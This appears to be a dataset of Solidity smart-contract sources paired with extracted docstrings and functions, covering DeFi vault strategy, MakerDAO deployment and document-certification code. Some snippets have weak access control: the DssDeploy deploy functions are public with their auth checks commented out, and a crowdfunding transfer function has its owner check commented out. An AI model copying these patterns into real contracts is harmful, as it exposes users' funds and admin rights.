only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File @uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol@v1.2.1 pragma solidity =0.7.6; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } // File contracts/LixirRegistry.sol pragma solidity ^0.7.6; /** @notice an access control contract with roles used to handle permissioning throughout the `Vault` and `Strategy` contracts. */ contract LixirRegistry is AccessControl { address public immutable uniV3Factory; IWETH9 public immutable weth9; /// king bytes32 public constant gov_role = keccak256('v1_gov_role'); /// same privileges as `gov_role` bytes32 public constant delegate_role = keccak256('v1_delegate_role'); /// configuring options within the strategy contract & vault bytes32 public constant strategist_role = keccak256('v1_strategist_role'); /// can `emergencyExit` a vault bytes32 public constant pauser_role = keccak256('v1_pauser_role'); /// can `rebalance` the vault via the strategy contract bytes32 public constant keeper_role = keccak256('v1_keeper_role'); /// can `createVault`s from the factory contract bytes32 public constant deployer_role = keccak256('v1_deployer_role'); /// verified vault in the registry bytes32 public constant vault_role = keccak256('v1_vault_role'); /// can initialize vaults bytes32 public constant strategy_role = keccak256('v1_strategy_role'); bytes32 public constant vault_implementation_role = keccak256('v1_vault_implementation_role'); bytes32 public constant eth_vault_implementation_role = keccak256('v1_eth_vault_implementation_role'); /// verified vault factory in the registry bytes32 public constant factory_role = keccak256('v1_factory_role'); /// can `setPerformanceFee` on a vault bytes32 public constant fee_setter_role = keccak256('fee_setter_role'); address public feeTo; address public emergencyReturn; uint24 public constant PERFORMANCE_FEE_PRECISION = 1e6; event FeeToChanged(address indexed previousFeeTo, address indexed newFeeTo); event EmergencyReturnChanged( address indexed previousEmergencyReturn, address indexed newEmergencyReturn ); constructor( address _governance, address _delegate, address _uniV3Factory, address _weth9 ) { uniV3Factory = _uniV3Factory; weth9 = IWETH9(_weth9); _setupRole(gov_role, _governance); _setupRole(delegate_role, _delegate); // gov is its own admin _setRoleAdmin(gov_role, gov_role); _setRoleAdmin(delegate_role, gov_role); _setRoleAdmin(strategist_role, delegate_role); _setRoleAdmin(fee_setter_role, delegate_role); _setRoleAdmin(pauser_role, delegate_role); _setRoleAdmin(keeper_role, delegate_role); _setRoleAdmin(deployer_role, delegate_role); _setRoleAdmin(factory_role, delegate_role); _setRoleAdmin(strategy_role, delegate_role); _setRoleAdmin(vault_implementation_role, delegate_role); _setRoleAdmin(eth_vault_implementation_role, delegate_role); _setRoleAdmin(vault_role, factory_role); } function addRole(bytes32 role, bytes32 roleAdmin) public { require(isGovOrDelegate(msg.sender)); require(getRoleAdmin(role) == bytes32(0) && getRoleMemberCount(role) == 0); _setRoleAdmin(role, roleAdmin); } function isGovOrDelegate(address account) public view returns (bool) { return hasRole(gov_role, account) || hasRole(delegate_role, account); } function setFeeTo(address _feeTo) external { require(isGovOrDelegate(msg.sender)); address previous = feeTo; feeTo = _feeTo; emit FeeToChanged(previous, _feeTo); } function setEmergencyReturn(address _emergencyReturn) external { require(isGovOrDelegate(msg.sender)); address previous = emergencyReturn; emergencyReturn = _emergencyReturn; emit EmergencyReturnChanged(previous, _emergencyReturn); } } // File contracts/LixirBase.sol pragma solidity ^0.7.6; /** @notice An abstract contract that gives access to the registry and contains common modifiers for restricting access to functions based on role. */ abstract contract LixirBase { LixirRegistry public immutable registry; constructor(address _registry) { registry = LixirRegistry(_registry); } modifier onlyRole(bytes32 role) { require(registry.hasRole(role, msg.sender)); _; } modifier onlyGovOrDelegate { require(registry.isGovOrDelegate(msg.sender)); _; } modifier hasRole(bytes32 role, address account) { require(registry.hasRole(role, account)); _; } } // File contracts/LixirStrategySimpleGWAP.sol pragma solidity ^0.7.6; contract LixirStrategySimpleGWAP is LixirBase, ILixirStrategy { constructor(address _registry) LixirBase(_registry) {} mapping(address => VaultData) public vaultDatas; /** * @notice Struct for containing data pertaining to strategy vaults * @param TICK_SHORT_DURATION how long we want to wait to get a TWAP to prevent sandwiching * @param MAX_TICK_DIFF check on the short_gwap and expected tick to prevent sandwiching * @param mainSpread tick width of the main position * @param rangeSpread tick width of the range position * @param timestamp keeping track of last time of rebalance or config * @param tickCumulative last cumulative tick value from pool */ struct VaultData { uint32 TICK_SHORT_DURATION; int24 MAX_TICK_DIFF; int24 mainSpread; int24 rangeSpread; uint32 timestamp; int56 tickCumulative; } event VaultConfigUpdate( address indexed vault, uint32 TICK_SHORT_DURATION, int24 MAX_TICK_DIFF, int24 mainSpread, int24 rangeSpread ); /** @notice adds a vault to this strategy contract. @dev called externally by the `LixirFactory` when you `createVault` */ function initializeVault(ILixirVault _vault, bytes memory data) external override onlyRole(LixirRoles.factory_role) { ( uint24 fee, uint32 TICK_SHORT_DURATION, int24 MAX_TICK_DIFF, int24 mainSpread, int24 rangeSpread ) = abi.decode(data, (uint24, uint32, int24, int24, int24)); _configureVault( _vault, fee, TICK_SHORT_DURATION, MAX_TICK_DIFF, mainSpread, rangeSpread ); } function setTickShortDuration(ILixirVault _vault, uint32 TICK_SHORT_DURATION) external onlyRole(LixirRoles.strategist_role) hasRole(LixirRoles.vault_role, address(_vault)) { require(msg.sender == _vault.strategist()); require( TICK_SHORT_DURATION >= 30, 'TICK_SHORT_DURATION must be greater than 30 seconds' ); VaultData storage vaultData = vaultDatas[address(_vault)]; vaultData.TICK_SHORT_DURATION = TICK_SHORT_DURATION; emit VaultConfigUpdate( address(_vault), TICK_SHORT_DURATION, vaultData.MAX_TICK_DIFF, vaultData.mainSpread, vaultData.rangeSpread ); } function setMaxTickDiff(ILixirVault _vault, int24 MAX_TICK_DIFF) external onlyRole(LixirRoles.strategist_role) hasRole(LixirRoles.vault_role, address(_vault)) { require(msg.sender == _vault.strategist()); require( MAX_TICK_DIFF >= 0, 'MAX_TICK_DIFF must be greater than or equal to 0' ); VaultData storage vaultData = vaultDatas[address(_vault)]; vaultData.MAX_TICK_DIFF = MAX_TICK_DIFF; emit VaultConfigUpdate( address(_vault), vaultData.TICK_SHORT_DURATION, MAX_TICK_DIFF, vaultData.mainSpread, vaultData.rangeSpread ); } /** @notice sets the tick width of the main and range positions when rebalancing */ function setSpreads( ILixirVault _vault, int24 mainSpread, int24 rangeSpread ) external onlyRole(LixirRoles.strategist_role) hasRole(LixirRoles.vault_role, address(_vault)) { require(msg.sender == _vault.strategist()); require(mainSpread >= 0); require(rangeSpread >= 0); VaultData storage vaultData = vaultDatas[address(_vault)]; vaultData.mainSpread = mainSpread; vaultData.rangeSpread = rangeSpread; emit VaultConfigUpdate( address(_vault), vaultData.TICK_SHORT_DURATION, vaultData.MAX_TICK_DIFF, mainSpread, rangeSpread ); } /** @notice function for strategist to set all `VaultData` in one call */ function configureVault( ILixirVault _vault, uint24 fee, uint32 TICK_SHORT_DURATION, int24 MAX_TICK_DIFF, int24 mainSpread, int24 rangeSpread ) external onlyRole(LixirRoles.strategist_role) hasRole(LixirRoles.vault_role, address(_vault)) { require(msg.sender == _vault.strategist()); _configureVault( _vault, fee, TICK_SHORT_DURATION, MAX_TICK_DIFF, mainSpread, rangeSpread ); } function _configureVault( ILixirVault _vault, uint24 fee, uint32 TICK_SHORT_DURATION, int24 MAX_TICK_DIFF, int24 mainSpread, int24 rangeSpread ) internal { require(TICK_SHORT_DURATION >= 30); require(MAX_TICK_DIFF > 0); require(mainSpread >= 0); require(rangeSpread >= 0); require(_vault.strategy() == address(this), 'Incorrect vault strategy'); VaultData storage vaultData = vaultDatas[address(_vault)]; vaultData.TICK_SHORT_DURATION = TICK_SHORT_DURATION; vaultData.MAX_TICK_DIFF = MAX_TICK_DIFF; vaultData.mainSpread = mainSpread; vaultData.rangeSpread = rangeSpread; if ( block.timestamp - vaultData.timestamp > 60 * 60 * 24 || fee != _vault.activeFee() ) { IUniswapV3Pool newPool = IUniswapV3Pool( PoolAddress.computeAddress( registry.uniV3Factory(), PoolAddress.getPoolKey( address(_vault.token0()), address(_vault.token1()), fee ) ) ); (int24 short_gwap, int56 lastShortTicksCumulative) = getTickShortGwap( newPool, TICK_SHORT_DURATION ); vaultData.tickCumulative = lastShortTicksCumulative; vaultData.timestamp = uint32(block.timestamp - TICK_SHORT_DURATION); (uint160 sqrtRatioX96, int24 tick) = getSqrtRatioX96AndTick(newPool); // neither check tick nor _rebalance read timestamp or tickCumulative // so we don't have to update the cache checkTick(tick, short_gwap, vaultData.MAX_TICK_DIFF); emit VaultConfigUpdate( address(_vault), TICK_SHORT_DURATION, MAX_TICK_DIFF, mainSpread, rangeSpread ); _rebalance( _vault, newPool, sqrtRatioX96, tick, short_gwap, mainSpread, rangeSpread ); } } /** @dev Calculates short term TWAP for rebalance sanity checks @return tick_gwap short term TWAP */ function getTickShortGwap(IUniswapV3Pool pool, uint32 TICK_SHORT_DURATION) internal view returns (int24 tick_gwap, int56 lastShortTicksCumulative) { uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = TICK_SHORT_DURATION; secondsAgos[1] = 0; (int56[] memory ticksCumulative, ) = pool.observe(secondsAgos); lastShortTicksCumulative = ticksCumulative[0]; // compute the time weighted tick, rounded towards negative infinity int56 numerator = (ticksCumulative[1] - lastShortTicksCumulative); int56 timeWeightedTick = numerator / int56(TICK_SHORT_DURATION); if (numerator < 0 && numerator % int56(TICK_SHORT_DURATION) != 0) { timeWeightedTick--; } tick_gwap = int24(timeWeightedTick); require(int56(tick_gwap) == timeWeightedTick, 'Tick over/underflow'); } /** @dev Sanity checks on current tick, expected tick from keeper, and GWAP tick @param expectedTick Expected tick passed by keeper */ function checkTick( int24 tick, int24 expectedTick, int24 MAX_TICK_DIFF ) internal pure { int24 diff = expectedTick >= tick ? expectedTick - tick : tick - expectedTick; require(diff <= MAX_TICK_DIFF, 'Tick diff to great'); } function getMainTicks( int24 tick_gwap, int24 tickSpacing, int24 spread ) internal pure returns (int24 lower, int24 upper) { lower = roundTickDown(tick_gwap - spread, tickSpacing); upper = roundTickUp(tick_gwap + spread, tickSpacing); require(lower < upper, 'Main ticks are the same'); } function getRangeTicks( uint160 sqrtRatioX96, int24 tick, int24 tickSpacing, int24 spread ) internal pure returns ( int24 lower0, int24 upper0, int24 lower1, int24 upper1 ) { lower0 = roundTickUp( (TickMath.getSqrtRatioAtTick(tick) == sqrtRatioX96) ? tick : tick + 1, tickSpacing ); upper0 = roundTickUp(lower0 + spread, tickSpacing); upper1 = roundTickDown(tick, tickSpacing); lower1 = roundTickDown(upper1 - spread, tickSpacing); require(lower0 < upper0, 'Range0 ticks are the same'); require(lower1 < upper1, 'Range1 ticks are the same'); } /** @dev Calculates long term TWAP for setting ranges @return tick_gwap Long term TWAP */ function getTickGwapUpdateCumulative( IUniswapV3Pool pool, VaultData storage vaultData ) internal returns (int24 tick_gwap) { uint32[] memory secondsAgos = new uint32[](1); secondsAgos[0] = 0; (int56[] memory ticksCumulative, ) = pool.observe(secondsAgos); int56 tickCumulative = ticksCumulative[0]; // compute the time weighted tick, rounded towards negative infinity int56 numerator = (tickCumulative - vaultData.tickCumulative); int56 secondsAgo = int56(block.timestamp - vaultData.timestamp); int56 timeWeightedTick = numerator / secondsAgo; if (numerator < 0 && numerator % secondsAgo != 0) { timeWeightedTick--; } tick_gwap = int24(timeWeightedTick); require(int56(tick_gwap) == timeWeightedTick, 'Tick over/underflow'); vaultData.timestamp = uint32(block.timestamp); vaultData.tickCumulative = tickCumulative; } /** @notice rebalances the vault to the given tick. In the process it collects UniV3 fees and repools them. @dev only keeper role can call */ function rebalance(ILixirVault vault, int24 expectedTick) external hasRole(LixirRoles.vault_role, address(vault)) onlyRole(LixirRoles.keeper_role) { VaultData storage vaultData = vaultDatas[address(vault)]; require(vaultData.timestamp > 0); IUniswapV3Pool pool = vault.activePool(); (int24 short_gwap, ) = getTickShortGwap( pool, vaultData.TICK_SHORT_DURATION ); (uint160 sqrtRatioX96, int24 tick) = getSqrtRatioX96AndTick(pool); int24 MAX_TICK_DIFF = vaultData.MAX_TICK_DIFF; checkTick(tick, short_gwap, MAX_TICK_DIFF); checkTick(tick, expectedTick, MAX_TICK_DIFF); int24 tick_gwap = getTickGwapUpdateCumulative(pool, vaultData); _rebalance( vault, pool, sqrtRatioX96, tick, tick_gwap, vaultData.mainSpread, vaultData.rangeSpread ); } function _rebalance( ILixirVault vault, IUniswapV3Pool pool, uint160 sqrtRatioX96, int24 tick, int24 tick_gwap, int24 mainSpread, int24 rangeSpread ) internal { int24 mlower; int24 mupper; int24 rlower0; int24 rupper0; int24 rlower1; int24 rupper1; uint24 fee; { int24 tickSpacing = pool.tickSpacing(); (mlower, mupper) = getMainTicks(tick_gwap, tickSpacing, mainSpread); (rlower0, rupper0, rlower1, rupper1) = getRangeTicks( sqrtRatioX96, tick, tickSpacing, rangeSpread ); fee = pool.fee(); } vault.rebalance(mlower, mupper, rlower0, rupper0, rlower1, rupper1, fee); } /** * @dev Queries activePool for current square root price and current tick * @return _sqrtRatioX96 Current square root price * @return _tick Current tick */ function getSqrtRatioX96AndTick(IUniswapV3Pool pool) internal view returns (uint160 _sqrtRatioX96, int24 _tick) { (_sqrtRatioX96, _tick, , , , , ) = pool.slot0(); } function max(int24 x, int24 y) internal pure returns (int24) { return y < x ? x : y; } function min(int24 x, int24 y) internal pure returns (int24) { return x < y ? x : y; } function roundTickDown(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 tickMod = tick % tickSpacing; int24 roundedTick; if (tickMod == 0) { roundedTick = tick; } else if (0 < tick) { roundedTick = tick - tickMod; } else { roundedTick = tick - tickSpacing + (-tickMod); } return max(roundedTick, TickMath.MIN_TICK); } function roundTickUp(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 tickDown = roundTickDown(tick, tickSpacing); return min(tick == tickDown ? tick : tickDown + tickSpacing, TickMath.MAX_TICK); } }
Queries activePool for current square root price and current tick return _sqrtRatioX96 Current square root price return _tick Current tick/
function getSqrtRatioX96AndTick(IUniswapV3Pool pool) internal view returns (uint160 _sqrtRatioX96, int24 _tick) { (_sqrtRatioX96, _tick, , , , , ) = pool.slot0(); }
1,811,386
pragma solidity ^0.5.0; import './Ownable.sol'; /// @title A Certified Proof Of Existence of Any Document /// @author Manjik Shrestha /// @notice You can use this contract to store hash of your document on blockchain /// @dev takes bytes32 hash and maps it to the callers address and timestamp contract Certifyi is Ownable { mapping (bytes32 => address) public records; mapping (bytes32 => uint256) public timestamps; event LogCertified(bytes32 indexed record, address indexed certifier, uint256 timestamp); /// @notice Stores the given hash in Blockchain /// @dev stores address of function caller and blocks timestamp is stored via mapping and emits LogCertified event /// @param _record Hash of the given document function certify(bytes32 _record) public { bytes32 hash = keccak256(abi.encodePacked(_record)); require(hash != keccak256(""),"input is invalid"); require(records[hash] == address(0),"this record have already been certified"); require(timestamps[hash] == 0,"unexpected error"); records[hash] = msg.sender; timestamps[hash] = block.timestamp; emit LogCertified(hash, msg.sender, block.timestamp); } /// @notice checks if hash already exists on smart contract /// @dev hash the given record and checks if it maps to any address /// @param _record Hash of the given document /// @return bool value explaining whether hash already exists or not function exists(bytes32 _record) view public returns (bool) { bytes32 hash = keccak256(abi.encodePacked(_record)); return records[hash] != address(0); } /// @notice get the certifier of the Document /// @dev checks the address mapped with given parameter /// @param _record Hash of the given document /// @return address of the certifier function getCertifier(bytes32 _record) view public returns (address) { return records[keccak256(abi.encodePacked(_record))]; } /// @notice get the timestamp when document is certified /// @dev checks the timestamp mapped with given parameter /// @param _record Hash of the given document /// @return timestamp of the document certification function getTimestamp(bytes32 _record) view public returns (uint256) { return timestamps[keccak256(abi.encodePacked(_record))]; } /// @notice check whether the function caller certify the given record /// @dev checks whether the hash mapped with address equals msg.sender or not /// @param _record Hash of the given document /// @return bool value explaining whether the given record certified by function caller or not function didCertify(bytes32 _record) view public returns (bool) { return records[keccak256(abi.encodePacked(_record))] == msg.sender; } /// @notice check whether the given address is certifier of given record /// @dev checks whether the hash mapped with given record equals given address /// @param _record Hash of the given document /// @param _certifier Address of document certifier /// @return bool value explaining whether the given record certified by given address or not function isCertifier(bytes32 _record, address _certifier) view public returns (bool) { return records[keccak256(abi.encodePacked(_record))] == _certifier; } /// @dev Recover signer address from a message by using his signature /// @param _hash bytes32 message, the hash is the signed message. What is recovered is the signer address. /// @param _sig bytes signature, the signature is generated using web3.eth.sign() /// @return address that generated _sig by siging the hash function ecrecovery(bytes32 _hash, bytes memory _sig) pure public returns (address) { bytes32 r; bytes32 s; uint8 v; if (_sig.length != 65) { return address(0); } assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := and(mload(add(_sig, 65)), 255) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return address(0); } return ecrecover(_hash, v, r, s); } /// @dev checks whether the signer claimed is actually the signer or not /// @param _hash bytes32 message, the hash is the signed message. /// @param _sig bytes signature, the signature is generated using web3.eth.sign() /// @param _signer address of claimed signer of given hash /// @return bool value explaining whether the claimed signer is true or not function ecverify(bytes32 _hash, bytes memory _sig, address _signer) pure public returns (bool) { return _signer == ecrecovery(_hash, _sig); } }
checks if hash already exists on smart contract hash the given record and checks if it maps to any address _record Hash of the given document return bool value explaining whether hash already exists or not
function exists(bytes32 _record) view public returns (bool) { bytes32 hash = keccak256(abi.encodePacked(_record)); return records[hash] != address(0); }
12,854,989
// EverOwn Wrapper contract exmaple //SPDX-License-Identifier: MIT pragma solidity ^0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // If interfaces are needed add them here // IERC20/IBEP20 standard interface. interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Any contract methods that are required */ interface IMyContract { // Any other/different contract wrapper methods if ownership transfer is not via transferOwnership function transferOwnership(address payable _address) external; } contract Ownable is Context { address private _owner; address private _buybackOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function owner() public view returns (address) { return _owner; } } // *** Rename this to your proxy wrapper contract contract MyContractOwn is Ownable { // *** Rename to be an ownership proxy for your token e.g. xxxxOWN string private _name = "MyContractOwn"; string private _symbol = "MyContracOWN"; IMyContract public token; constructor (address _token) { token = IMyContract(payable(_token)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } // *** Releasing the ownership from the wrapper contract back to owner function releaseOwnership() public onlyOwner { // **** // If your contract uses a different ownership technique and that's why you are wrapping // change the body of this function to match that // *** token.transferOwnership(_msgSender()); } // Function to release ETH trapped in wrapper, can be released when ownership returned function releaseTrappedETH(address payable toAddress) external onlyOwner { require(toAddress != address(0), "toAddress can not be a zero address"); toAddress.transfer(address(this).balance); } // Function to release tokens trapped in wrapper, can be released when ownership returned function releaseTrappedTokens(address tokenAddress, address toAddress) external onlyOwner { require(tokenAddress != address(0), "tokenAddress can not be a zero address"); require(toAddress != address(0), "toAddress can not be a zero address"); require(IERC20(tokenAddress).balanceOf(address(this)) > 0, "Balance is zero"); IERC20(tokenAddress).transfer(toAddress, IERC20(tokenAddress).balanceOf(address(this))); } // To recieve ETH receive() external payable {} // Fallback function to receive ETH when msg.data is not empty fallback() external payable {} }
Any contract methods that are required/ Any other/different contract wrapper methods if ownership transfer is not via transferOwnership
interface IMyContract { function transferOwnership(address payable _address) external; }
6,414,689
/// DssDeploy.sol // Copyright (C) 2018-2019 Gonzalo Balabasquer <gbalabasquer@gmail.com> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.5.12; //import {DSAuth, DSAuthority} from "./ds-auth/auth.sol"; //import {DSPause} from "./ds-pause/pause.sol"; import {Vat} from "./vat.sol"; import {Jug} from "./jug.sol"; import {Vow} from "./vow.sol"; import {Cat} from "./cat.sol"; import {DaiJoin} from "./join.sol"; import {Flapper} from "./flap.sol"; import {Flopper} from "./flop.sol"; import {Flipper} from "./flip.sol"; import {Dai} from "./dai.sol"; import {End} from "./end.sol"; import {ESM} from "./esm/ESM.sol"; import {Pot} from "./pot.sol"; import {Spotter} from "./spot.sol"; contract VatFab { function newVat() public returns (Vat vat) { vat = new Vat(); vat.rely(msg.sender); vat.deny(address(this)); } } contract JugFab { function newJug(address vat) public returns (Jug jug) { jug = new Jug(vat); jug.rely(msg.sender); jug.deny(address(this)); } } contract VowFab { function newVow(address vat, address flap, address flop) public returns (Vow vow) { vow = new Vow(vat, flap, flop); vow.rely(msg.sender); vow.deny(address(this)); } } contract CatFab { function newCat(address vat) public returns (Cat cat) { cat = new Cat(vat); cat.rely(msg.sender); cat.deny(address(this)); } } contract DaiFab { function newDai(uint chainId) public returns (Dai dai) { dai = new Dai(chainId); dai.rely(msg.sender); dai.deny(address(this)); } } contract DaiJoinFab { function newDaiJoin(address vat, address dai) public returns (DaiJoin daiJoin) { daiJoin = new DaiJoin(vat, dai); } } contract FlapFab { function newFlap(address vat, address gov) public returns (Flapper flap) { flap = new Flapper(vat, gov); flap.rely(msg.sender); flap.deny(address(this)); } } contract FlopFab { function newFlop(address vat, address gov) public returns (Flopper flop) { flop = new Flopper(vat, gov); flop.rely(msg.sender); flop.deny(address(this)); } } contract FlipFab { function newFlip(address vat, bytes32 ilk) public returns (Flipper flip) { flip = new Flipper(vat, ilk); flip.rely(msg.sender); flip.deny(address(this)); } } contract SpotFab { function newSpotter(address vat) public returns (Spotter spotter) { spotter = new Spotter(vat); spotter.rely(msg.sender); spotter.deny(address(this)); } } contract PotFab { function newPot(address vat) public returns (Pot pot) { pot = new Pot(vat); pot.rely(msg.sender); pot.deny(address(this)); } } contract EndFab { function newEnd() public returns (End end) { end = new End(); end.rely(msg.sender); end.deny(address(this)); } } contract ESMFab { function newESM(address gov, address end, address pit, uint min) public returns (ESM esm) { esm = new ESM(gov, end, pit, min); } } //contract PauseFab { // function newPause(uint delay, address owner, DSAuthority authority) public returns(DSPause pause) { // pause = new DSPause(delay, owner, authority); // } //} //contract DssDeploy is DSAuth { contract DssDeploy { VatFab public vatFab; JugFab public jugFab; VowFab public vowFab; CatFab public catFab; DaiFab public daiFab; DaiJoinFab public daiJoinFab; FlapFab public flapFab; FlopFab public flopFab; FlipFab public flipFab; SpotFab public spotFab; PotFab public potFab; EndFab public endFab; ESMFab public esmFab; // PauseFab public pauseFab; Vat public vat; Jug public jug; Vow public vow; Cat public cat; Dai public dai; DaiJoin public daiJoin; Flapper public flap; Flopper public flop; Spotter public spotter; Pot public pot; End public end; ESM public esm; // DSPause public pause; mapping(bytes32 => Ilk) public ilks; uint8 public step = 0; uint256 constant ONE = 10 ** 27; struct Ilk { Flipper flip; address join; } constructor( VatFab vatFab_, JugFab jugFab_, VowFab vowFab_, CatFab catFab_, DaiFab daiFab_, DaiJoinFab daiJoinFab_, FlapFab flapFab_, FlopFab flopFab_, FlipFab flipFab_, SpotFab spotFab_, PotFab potFab_, EndFab endFab_, ESMFab esmFab_ // PauseFab pauseFab_ ) public { vatFab = vatFab_; jugFab = jugFab_; vowFab = vowFab_; catFab = catFab_; daiFab = daiFab_; daiJoinFab = daiJoinFab_; flapFab = flapFab_; flopFab = flopFab_; flipFab = flipFab_; spotFab = spotFab_; potFab = potFab_; endFab = endFab_; esmFab = esmFab_; // pauseFab = pauseFab_; } function rad(uint wad) internal pure returns (uint) { return wad * 10 ** 27; } function deployVat() public { require(address(vat) == address(0), "VAT already deployed"); vat = vatFab.newVat(); spotter = spotFab.newSpotter(address(vat)); // Internal auth vat.rely(address(spotter)); vat.rely(msg.sender); // Keydonix added this, to allow direct 'flip' (parameter updates) } function deployDai(uint256 chainId) public { require(address(vat) != address(0), "Missing previous step"); // Deploy dai = daiFab.newDai(chainId); daiJoin = daiJoinFab.newDaiJoin(address(vat), address(dai)); dai.rely(address(daiJoin)); } function deployTaxationAndAuctions(address gov) public { require(gov != address(0), "Missing GOV address"); require(address(vat) != address(0), "Missing previous step"); // Deploy jug = jugFab.newJug(address(vat)); pot = potFab.newPot(address(vat)); flap = flapFab.newFlap(address(vat), gov); flop = flopFab.newFlop(address(vat), gov); vow = vowFab.newVow(address(vat), address(flap), address(flop)); // Internal references set up jug.file("vow", address(vow)); pot.file("vow", address(vow)); // Internal auth vat.rely(address(jug)); vat.rely(address(pot)); flap.rely(address(vow)); flop.rely(address(vow)); pot.rely(msg.sender); // KEYDONIX added } function deployLiquidator() public { require(address(vow) != address(0), "Missing previous step"); // Deploy cat = catFab.newCat(address(vat)); // Internal references set up cat.file("vow", address(vow)); // Internal auth vat.rely(address(cat)); vow.rely(address(cat)); } function deployShutdown(address gov, address pit, uint256 min) public { require(address(cat) != address(0), "Missing previous step"); // Deploy end = endFab.newEnd(); // Internal references set up end.file("vat", address(vat)); end.file("cat", address(cat)); end.file("vow", address(vow)); end.file("pot", address(pot)); end.file("spot", address(spotter)); // Internal auth vat.rely(address(end)); cat.rely(address(end)); vow.rely(address(end)); pot.rely(address(end)); spotter.rely(address(end)); // Deploy ESM esm = esmFab.newESM(gov, address(end), address(pit), min); end.rely(address(esm)); } // function deployPause(uint delay, DSAuthority authority) public auth { // require(address(dai) != address(0), "Missing previous step"); // require(address(end) != address(0), "Missing previous step"); // pause = pauseFab.newPause(delay, address(0), authority); // vat.rely(address(pause.proxy())); // cat.rely(address(pause.proxy())); // vow.rely(address(pause.proxy())); // jug.rely(address(pause.proxy())); // pot.rely(address(pause.proxy())); // spotter.rely(address(pause.proxy())); // flap.rely(address(pause.proxy())); // flop.rely(address(pause.proxy())); // end.rely(address(pause.proxy())); // this.setAuthority(authority); // this.setOwner(address(0)); // } function deployCollateral(bytes32 ilk, address join, address pip) public { require(ilk != bytes32(""), "Missing ilk name"); require(join != address(0), "Missing join address"); // require(address(pause) != address(0), "Missing previous step"); // Deploy ilks[ilk].flip = flipFab.newFlip(address(vat), ilk); ilks[ilk].join = join; if (pip != address(0)) { Spotter(spotter).file(ilk, "pip", address(pip)); // Set pip } // Internal references set up cat.file(ilk, "flip", address(ilks[ilk].flip)); vat.init(ilk); jug.init(ilk); // Internal auth vat.rely(join); ilks[ilk].flip.rely(address(cat)); ilks[ilk].flip.rely(address(end)); // ilks[ilk].flip.rely(address(pause.proxy())); } function releaseAuth() public { vat.deny(address(this)); cat.deny(address(this)); vow.deny(address(this)); jug.deny(address(this)); pot.deny(address(this)); dai.deny(address(this)); spotter.deny(address(this)); flap.deny(address(this)); flop.deny(address(this)); end.deny(address(this)); } function releaseAuthFlip(bytes32 ilk) public { ilks[ilk].flip.deny(address(this)); } }
Deploy Internal references set up Internal auth
function deployLiquidator() public { require(address(vow) != address(0), "Missing previous step"); cat = catFab.newCat(address(vat)); cat.file("vow", address(vow)); vat.rely(address(cat)); vow.rely(address(cat)); }
12,882,889
./full_match/44787/0x53d10b1A4C7Ab74c17170AEFD58381Ba5572b78c/sources/project_/contracts/cStarIDO.sol
Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external _needsAdmin() { IERC20(tokenAddress).safeTransfer(addrDev, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } event Recovered(address token, uint256 amount);
13,253,206
./full_match/5/0x7aA52F3BBA1864361FCa7F181d0d62a0A92f50FF/sources/contracts/digicrowd.sol
require(msg.sender === owner, "Only owner can withdraw funds");
function transferERC20(uint256 _id,address from, uint256 amount) public { Campaign storage campaign = campaigns[_id]; uint256 erc20balance = campaign.token.balanceOf(address(this)); require(amount <= erc20balance, "balance is low"); campaign.token.transfer(campaign.owner, amount); emit TransferSent(from, campaign.owner, amount); campaign.amountCollected = campaign.amountCollected + amount; campaign.donators.push(from); campaign.donations.push(amount); }
1,866,049
./full_match/1/0x1F033Cb8A2Df08a147BC512723fd0da3FEc5cCA7/sources/autopay/contracts/Autopay.sol
